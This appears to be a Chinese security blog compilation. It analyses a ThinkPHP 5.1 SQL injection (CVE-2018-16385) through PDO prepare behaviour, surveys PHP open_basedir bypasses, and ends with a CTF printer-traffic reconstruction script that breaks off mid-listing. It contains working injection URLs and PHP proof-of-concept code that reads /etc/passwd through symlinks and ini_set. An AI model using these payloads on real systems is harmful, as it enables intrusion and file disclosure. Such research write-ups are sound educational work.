Thinkphp5 SQL注入漏洞引发的思考

文章首发于先知社区:Thinkphp5 SQL注入漏洞引发的思考

Thinkphp5

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。

最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

某些版本的Thinkphp存在一些漏洞,比如Thinkphp 5.1.(16-22) sql注入漏洞

POC

http://********/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 

漏洞描述

在ThinkPHP 5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。(CVE-2018-16385)

一点思考

这个漏洞虽然是sql注入,但是比较鸡肋。。。

为什么这么讲呢?我们测试一下,就会发现报错注入的时候,我们只能爆出类似于user()、database()这类最基础的信息,而不能进行子查询,获取不到更加关键的信息。

这样的原因是用参数化查询PDO,将参数与查询语句分离,进而降低了漏洞风险。

PDO分析

下面将会针对thinkphp 5.1.17框架的PDO进行分析。

PDO介绍

我们可以把它看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制。预处理语句可以带来两大好处:

  • 查询仅需解析(或预处理)一次,但可以用相同或不同的参数执行多次。当查询准备好后,数据库将分析、编译和优化执行该查询的计划。对于复杂的查询,此过程要花费较长的时间,如果需要以不同参数多次重复相同的查询,那么该过程将大大降低应用程序的速度。通过使用预处理语句,可以避免重复分析/编译/优化周期。简而言之,预处理语句占用更少的资源,因而运行得更快。
  • 提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入。(然而,如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险)。

预处理语句如此有用,以至于它们唯一的特性是在驱动程序不支持 PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能,都可以确保应用程序可以用相同的数据访问模式。

如果还不理解的话,我们可以看看PDO预编译执行过程

  1. prepare($SQL) 编译SQL语句
  2. bindValue($param,$value) 将value绑定到param的位置上

    prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
    $stmt->bindParam(1, $name);
    $stmt->bindParam(2, $value);
    
    // 插入一行
    $name = 'one';
    $value = 1;
    $stmt->execute();
    
    // 用不同的值插入另一行
    $name = 'two';
    $value = 2;
    $stmt->execute();
    ?>
  3. execute() 执行

    prepare("CALL sp_returns_string(?)");
    $stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000); 
    
    // 调用存储过程
    $stmt->execute();
    
    print "procedure returned $return_value\n";
    ?>

报错原因

预编译SQL语句的时候发生错误,从而产生报错

当 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,所以理论上确保不会发生SQL注入。

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误使得报错(单纯的语句报错)既然如此我们实际上报错利用点在哪里呢?

实际上,在预编译的时候,也就是第一步即可利用

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现,虽然只调用prepare(),但原SQL语句中的报错已经成功执行:

是因为这里设置了PDO::ATTR_EMULATE_PREPARES => false

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。

而在thinkphp 5.1.17中的默认配置

// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

但是,在这个POC中

/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。应该是预编译在mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但user()数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

修改子查询语句

如果我们把user()改成一个子查询语句呢?

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
       $link = $db->prepare('SELECT * FROM `users` WHERE  `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');

} catch (\PDOException $e) {
    var_dump($e);
}

虽然我们使用了updatexml函数,但是他可能不接触数据:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

把updatexml函数去掉

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE  id IN (:where_id_in_0)union(select~1,2)');
    var_dump($link);
    $link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
} catch (\PDOException $e) {
    var_dump($e);
}

这样就会报Invalid parameter number: parameter was not defined

在上面绑定的变量中,让:符号后面的字符串中不出现空格。但是在PDO的prepare()编译sql语句这个过程中,pdo已经把(:)内的内容认为时PDO绑定的变量,所以在第二步bindValue()步骤中,才会报错parameter was not defined

也就说这两步数据不匹配,导致无法正常执行第三步查询我们想要得字段

总结

Thinkphp5 框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题,但过多的信任导致这里是在参数绑定的过程中产生了注入,不过采用的PDO机制也可以说是将危害降到了最小。

你的open_basedir真的安全吗?

文章首发于先知社区:你的open_basedir安全吗?

前言

这个东西很多师傅都玩烂了,我是这几天在给师弟师妹的某次出题搭环境的时候才学习的。。。

open_basedir

看一下php.ini里面的描述:

; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。

注意:用open_basedir指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)
比如open_basedir = /etc/passwd", 那么目录 "/etc/passwd" 和 "/etc/passwd1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将open_basedir = /etc/passwd/

Bypass

命令执行

为什么选命令执行,因为open_basedir和命令执行无关,就可以直接获取目标文件。

如果遇到disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 a 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 a/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 a 文件再创建 a 目录但是 abc 还是指向了 a 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd
payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

简单来说,就是快捷方式。

<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","a");
symlink("a/../../../../etc/passwd","abc");
unlink("a");
mkdir("a");
?>

暴力破解

realpath()

realpath是用来将参数path所指的相对路径转换成绝对路径,然后存于参数resolved_path所指的字符串 数组 或 指针 中的一个函数。 如果resolved_path为NULL,则该函数调用malloc分配一块大小为PATH_MAX的内存来存放解析出来的绝对路径,并返回指向这块区域的指针。

有意思的是,在开启open_basedir后,当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。

如果一直爆破,是特别麻烦的。。。所以可以借助通配符来进行爆破,
条件:Windows环境。

<?php
highlight_file(__FILE__);
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/WEB/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

bindtextdomain()以及SplFileInfo::getRealPath()

除了realpath(),还有bindtextdomain()和SplFileInfo::getRealPath()作用类似。同样是可以得到绝对路径。

bindtextdomain(string $domain, ?string $directory): string|false

$directory存在时,会返回$directory的值,若不存在,则返回false。

另外值得注意的是,Windows环境下是没有bindtextdomain函数的,而在Linux环境下是存在的。

SplFileInfo 类为单个文件的信息提供高级面向对象的接口,SplFileInfo::getRealPath 类方法是用于获取文件的绝对路径。

为什么把这两个放在一块?因为和上面的 bindtextdomain 一样,是基于报错判断的,然后再进行爆破。

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}
?>

glob://伪协议

glob:// — 查找匹配的文件路径模式

设计缺陷导致的任意文件名列出 :由于PHP在设计的时候(可以通过源码来进行分析),对于glob伪协议的实现过程中不检测open_basedir,以及safe_mode也是不会检测的,由此可利用glob:// 罗列文件名
(也就是说在可读权限下,可以得到文件名,但无法读取文件内容;也就是单纯的罗列目录,能用来绕过open_basedir)

单用 glob:// 是没有办法绕过的,要结合其它函数来实现

DirectoryIterator+glob://

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口,结合这两个方式,我们就可以在php5.3以后版本对目录进行列举。

<?php
highlight_file(__FILE__);
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$a = $_GET['a'];
$b = new DirectoryIterator($a);
foreach($b as $c){
 echo($c->__toString().'<br>');
}
?>

列出根目录下的文件,但问题是,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

opendir()+readdir()+glob://

opendir() 函数为打开目录句柄,readdir() 函数为从目录句柄中读取条目。结合两个函数即可列举根目录中的文件:

<?php
highlight_file(__FILE__);
$a = $_GET['c'];
if ( $b = opendir($a) ) {
 while ( ($file = readdir($b)) !== false ) {
     echo $file."<br>";
 }
 closedir($b);
}
?>

同样,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

姿势最骚的——利用ini_set()绕过

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

从php底层去研究ini_set应该是属于web-pwn的范畴吧,反正这一块我真的不会,所以去请教了一位二进制的师傅,指导了一下。

if (php_check_open_basedir_ex(ptr, 0) != 0) {
            /* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
            efree(pathbuf);
            return FAILURE;
        }

php_check_open_basedir_ex()如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

那我们跟进此函数

if (strlen(path) > (MAXPATHLEN - 1)) {
    php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
    errno = EINVAL;
    return -1;
}
#define PATH_MAX        1024   /* max bytes in pathname */

该函数会判断路径名称是否过长,在官方设定中给定范围是小于1024。

此外,另一个检测函数php_check_specific_open_basedir(),同样我们继续跟进

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
        /* Else use the unmodified path */
        strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
    }
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
    /* empty and too long paths are invalid */
    return -1;
}

比对目录,并给local_open_basedir进行赋值,并检查目录名的长度是否合法,接下来,利用expand_filepath()将传入的path,以绝对路径的格式保存在resolved_name,将local_open_basedir的值存放于resolved_basedir,然后二者进行比较。

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;} 
    else {
                /* File is in the right directory */
                return 0;
        }
}
else {
            /* /openbasedir/ and /openbasedir are the same directory */
    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) 
    {          
        if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
        {
            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
            {
                return 0;
            }
        }
        return -1;
    }
}

进行比较的两个值均是由expand_filepath函数生成的,因此要实现bypass php_check_open_basedir_ex,关键就是bypass expand_filepath

还是一样,跟进expand_filepath函数

根据师傅所说,在我们跟进到virtual_file_ex得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {
    if (state->cwd_length == 0) {
        /* 保存 relative path */
        start = 0;
        memcpy(resolved_path , path, path_length + 1);
    } else {
        int state_cwd_length = state->cwd_length;
       state->cwd_length = path_length;
       memcpy(state->cwd, resolved_path, state->cwd_length+1);

是目录拼接,如果path不是绝对路径,同时state->cwd_length == 0长度为0,那么会将path作为绝对路径,储存在resolved_path。否则将会在state->cwd后拼接,那么重点就在于path_length

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);
/*tsrm_realpath_r():删除双反斜线 .  .. 和前一个目录*/

总的来说,expand_filepath()在保存相对路径和绝对路径的时候,而open_basedir()如果为相对路径的话,是会实时变化的,这就是问题所在。在POC中每次目录操作都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的目录全都会上跳。

比如初始设定open_basedir为/a/b/c/d,第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a,第四次chdir后变为/,那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

总结

其实我感觉如果直接能RCE,那肯定最好;然后相比之下最后一种姿势最骚;暴力破解应该是最繁琐的,不过也不失为一种方法的嘛。

从一道题目尝试进行打印机流量分析

打印机流量分析

奇怪的USB流量

image-20211208140302530

数据包464,发现主机正在与某USB设备建立连接,数据包465可以确认刚才与主机建立连接的设备就是打印机

image-20211208151429955

数据包476,传输了USB设备描述符,可以得出题目所指打印机为条码打印机,采用TSPL2语言

image-20211208151641407

数据包674,发现发送了两个USB批量包,有纸张大小、方向信息

image-20211208151808805

有一个包数据特别大,可以看到包底部有一堆BAR数据

image-20211208140436245

image-20211208142320449

搜一下可以发现是个标签打印机的数据,谷歌找一下相关信息

  • 打印机系统设置相关指令:SIZE DIRECTION REFERENCE OFFSET PEEL CUTTER PARTOCAL_CUTTER TEAR
  • 标签打印相关指令:BITMAP BAR PRINT

http://www.kroyeuropedownload.com/English_User_Manuals/TSPL_TSPL2_Programming_Jan_2017.pdf

搜索bar,可以发现相关指令

image-20211208143533613

bar指令大概意思:

BAR 1 2 3 4
以左上角为原点,在坐标(1,2)的像素位置往右下方画上一个长3宽4的黑色像素块

编写脚本:

Image.new()模式“1”为二值图像,非黑即白。但是它每个像素用8个bit表示,0表示黑,255表示白

from PIL import Image
from pwn import *

img = Image.new('1',(700,700),color = 1)
pixels = img.load()

cmds = '''
348, 439, 2, 96
.......
'''
cmds = cmds.strip().split('\n')
for each in cmds:
    params = each.split(', ')
    x, y, width, height = map(int, params)
    for w in range(width):
        for h in range(height):
            rw = w + x
            rh = h + y
            pixels[rw, rh] = 0
img.show()

数据中还有个 SET TEAR ON CLS BITMAP 138,75,26,48,1,

搜一下bitmap

26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)

image-20211208143722733

所谓的Bit-map就是用一个bit位来标记某个元素对应的Value, 而Key即是该元素。由于采用了Bit为单位来存储数据,因此在存储空间方面,可以大大节省

这里的bitmap算法与网上的bitmap并不一样

bitmap(pixels, x, y, width, height, data)

定义一个函数:bitmap,把一张图片,从指定的位置(x,y)截取指定的宽高(width,height ),把所得图像的每个像素颜色转为int值,存入pixels,画出bitmap

from PIL import Image
from pwn import *

img = Image.new("1",(700,700))
pixels = img.load()

data1 = 'ffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffc3ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffe3fffe1ffffffffff807c03c603fc07c07e0007f7ff01f8067ff007ff803fc07c03fff1ff1f04f8ff1ff1fff1fff3ffcff1f27fc7f1ff3e1ff1ff9ffff1ff1fc1fcff8ff1fff1fff3ffefe3f87f8ff9feff8ff1ff9ffff8ff1fc3fc7fcff1fff1fff1ffefc7fc7f9ff8fdffc7f1ff9ffff8ff1fc7fe3fc7f1fff1fff1ffefcffe7f1ff8f9ffc3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7f1ff0fbffe3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7e1ff8f3ffe3f1ff9ffffe3f1fc7fe3ff1f1fff1fff47fef8ffe7e3ff9f7ffe1f1ff9ffffe3f1fc7ff3ff8e1fff1fff47fef9ffe7e3ffffffff1f1ff9fffff1f1fc7ff3ff8c1fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7ff3ffc11fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7fe3ffe31fff1fff71fef9ffe7f1ffffffff1f1ff9fffff8f1fc7fe3ffe71fff1fff71fef8ffe7f8ffffffff0f1ff9fffff8f1fc7fe3ffcf1fff1fff78fef8ffe7fcffffffff0f1ff9fffffc61fc7fe7ff9f1fff1fff78fef8ffc7fe3fffffff0f1ff9fffffc41fc7fc7ff3f1fff1fff7c7efcffc7ff83ffffff0f9ff1fffffe11fc3f8fff7f1fff1fff7c7efc7fa7ff87ffffff0f9fe9fffffe31fc1f1ffe7f1fff1fff7e3efe3e67fe3fffffff1f8f99ffffff31fc403fe01f1fff1fff7e3eff80e0fc7fffffff1fc039fffffe71fc79ffffff1fff1fff7f1efff3eff8ffffffff1ff0f9fffffef1fc7fffffff1fff1fff7f0efffffff8ffffffff1ffff9fffffcf1fc7fffffff1fff1fff7f8efffffff8fffffffe1ffff9fffff9f1fc7fffffff1fff1fff7f86fffffff8ff9f7ffe3ffff9fffffbf1fc7fffffff1fff1fff7fc6fffffff8ff0f3ffe3ffff9fffff7f1fc7fffffff1fff1fff7fc2fffffff8ff8fbffc7ffff9ffffe7f1fc7fffffff1fff1fff7fe2fffffff8ff8f9ffc7ffff9ffffcff1fc7fffffff1fff1fff7ff0fffffffcff9f9ff8fffff9ffff8ff1fc7fffffff1fff1fff7ff0fffffffc7f9f8ff1fffff9ffff0ff0fc3fffffff1fff0ffe7ff8fffffffe1e7f83e3fffff8fffc03c03c0fffffff03e000780ff83fffffff80fff80ffffff83ffffffffdffffffff3ffffffffffffffffffffffffffffffffbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
data1 = bits(int(data1.strip(), 16))

def draw_bitmap(pixels, x, y, width, height, data):
  width *= 8
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = data1[w+h*width]
draw_bitmap(pixels,138,75,26,48,data1)
img.show()

最终脚本:

from PIL import Image
from pwn import *

img = Image.new('1',(700,700),color = 1)
pixels = img.load()

data1 = 'ffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffc3ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffe3fffe1ffffffffff807c03c603fc07c07e0007f7ff01f8067ff007ff803fc07c03fff1ff1f04f8ff1ff1fff1fff3ffcff1f27fc7f1ff3e1ff1ff9ffff1ff1fc1fcff8ff1fff1fff3ffefe3f87f8ff9feff8ff1ff9ffff8ff1fc3fc7fcff1fff1fff1ffefc7fc7f9ff8fdffc7f1ff9ffff8ff1fc7fe3fc7f1fff1fff1ffefcffe7f1ff8f9ffc3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7f1ff0fbffe3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7e1ff8f3ffe3f1ff9ffffe3f1fc7fe3ff1f1fff1fff47fef8ffe7e3ff9f7ffe1f1ff9ffffe3f1fc7ff3ff8e1fff1fff47fef9ffe7e3ffffffff1f1ff9fffff1f1fc7ff3ff8c1fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7ff3ffc11fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7fe3ffe31fff1fff71fef9ffe7f1ffffffff1f1ff9fffff8f1fc7fe3ffe71fff1fff71fef8ffe7f8ffffffff0f1ff9fffff8f1fc7fe3ffcf1fff1fff78fef8ffe7fcffffffff0f1ff9fffffc61fc7fe7ff9f1fff1fff78fef8ffc7fe3fffffff0f1ff9fffffc41fc7fc7ff3f1fff1fff7c7efcffc7ff83ffffff0f9ff1fffffe11fc3f8fff7f1fff1fff7c7efc7fa7ff87ffffff0f9fe9fffffe31fc1f1ffe7f1fff1fff7e3efe3e67fe3fffffff1f8f99ffffff31fc403fe01f1fff1fff7e3eff80e0fc7fffffff1fc039fffffe71fc79ffffff1fff1fff7f1efff3eff8ffffffff1ff0f9fffffef1fc7fffffff1fff1fff7f0efffffff8ffffffff1ffff9fffffcf1fc7fffffff1fff1fff7f8efffffff8fffffffe1ffff9fffff9f1fc7fffffff1fff1fff7f86fffffff8ff9f7ffe3ffff9fffffbf1fc7fffffff1fff1fff7fc6fffffff8ff0f3ffe3ffff9fffff7f1fc7fffffff1fff1fff7fc2fffffff8ff8fbffc7ffff9ffffe7f1fc7fffffff1fff1fff7fe2fffffff8ff8f9ffc7ffff9ffffcff1fc7fffffff1fff1fff7ff0fffffffcff9f9ff8fffff9ffff8ff1fc7fffffff1fff1fff7ff0fffffffc7f9f8ff1fffff9ffff0ff0fc3fffffff1fff0ffe7ff8fffffffe1e7f83e3fffff8fffc03c03c0fffffff03e000780ff83fffffff80fff80ffffff83ffffffffdffffffff3ffffffffffffffffffffffffffffffffbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
data1 = bits(int(data1.strip(), 16))

data2 = 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffe38fffffffffffffffffffffffffffffffffffffffffffffffffffffffdff7ffffffffffffffffffffffffffffffffffffffffffffffffffffff9ff3ffffffffffffffffffffffffffffffffffffffffffffffffffffff9ff3fffffffffffff9ffefbffc7ffffffe1fff8fffffffc3ffffffffff9ff3ff8ffffffffff0ffefbff39ff007f9c7fe72ffffff3c3fc07fffff87e78463f803ff01f0ffe7bfefefff7ff3f3f9f8fffffeff3ffbffffffc01fa3f9ffbfffe7f9ffe71fcfe7ff7ff7f9f9fcfffffeffbffbfffffffc07e7f9ffbfffe7ffffc71f9ff3ff7feff9f3fcfffffeffbffbffffffffe7e7f8ffbfffe7ffffd75f9ff3ff7ffffcf3fcfffffe7ffffbffffffffe7e7f9ffbfffe7ffffd35f9ff3ff7ffffcf3fcfffffe3ffffbfffffff80fe7f9ffbfffe7ffffd2cf9ff3ff7ffffcf3fcffffff07fffbfffffff7cfe7f3ffbfffe7ffffb2cf9ff3ff7fe000f3fcffffffc1fffbffffffe7e7e7c7ffbfffe7ffffbacf9ff3ff7fe7fcf3fcfffffff87ffbffffffe7e7e03fffbfffe7ffffb9ef9ff3ff7fe7fcf3fcfffffffe7ffbffffffefe7e7ffffbfffe7ffffb9e79ff3ff7fe7f9f3fcfffffeff3ffbffffffefe7e7f9ffbfffe7ffff79e7cfe7ff7ff3f9f9f8fffffeff3ffbffffffe7e7f7f1ffbfffe7f1ff79e7efcfff7ff3f3f9f0fffffe7f7ffbffffff27eff3f3ffbfffe7f0fe38e3f39fff7ffce7fc04fffffe1cfff9ffffff019ff9e7ffbfffe7f1fffffffc7fff7fff1fffbcfffffee3fff87fffffbe7ffe1fffbffe00ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfe7e7ffffffffffffff7ffffffffcfffffffffff3ffffffffffffffffbfe7efffffffffffffff7ffffffffcfffffffffff1ffffffffffffffffbfe7cfffffffffffffff03fffffffc3ffffffffff1ffffffffffffffff81f03fffffffffffffff3ffffffffcfffffffffffbffffffffffffffff9ffffff'
data2 = bits(int(data2.strip(), 16))

cmds = '''
BAR 348, 439, 2, 96
BAR 292, 535, 56, 2
BAR 300, 495, 48, 2
BAR 260, 447, 2, 88
BAR 204, 447, 56, 2
BAR 176, 447, 2, 96
BAR 116, 455, 2, 82
BAR 120, 479, 56, 2
BAR 44, 535, 48, 2
BAR 92, 455, 2, 80
BAR 20, 455, 72, 2
BAR 21, 455, 2, 40
BAR 21, 495, 24, 2
BAR 45, 479, 2, 16
BAR 36, 479, 16, 2
BAR 284, 391, 40, 2
BAR 324, 343, 2, 48
BAR 324, 287, 2, 32
BAR 276, 287, 48, 2
BAR 52, 311, 48, 2
BAR 284, 239, 48, 2
BAR 308, 183, 2, 56
BAR 148, 239, 48, 2
BAR 196, 191, 2, 48
BAR 148, 191, 48, 2
BAR 68, 191, 48, 2
BAR 76, 151, 40, 2
BAR 76, 119, 2, 32
BAR 76, 55, 2, 32
BAR 76, 55, 48, 2
BAR 112, 535, 64, 2
BAR 320, 343, 16, 2
BAR 320, 319, 16, 2
BAR 336, 319, 2, 24
BAR 56, 120, 24, 2
BAR 56, 87, 24, 2
BAR 56, 88, 2, 32
BAR 224, 247, 32, 2
BAR 256, 215, 2, 32
BAR 224, 215, 32, 2
BAR 224, 184, 2, 32
BAR 224, 191, 32, 2
BAR 272, 311, 2, 56
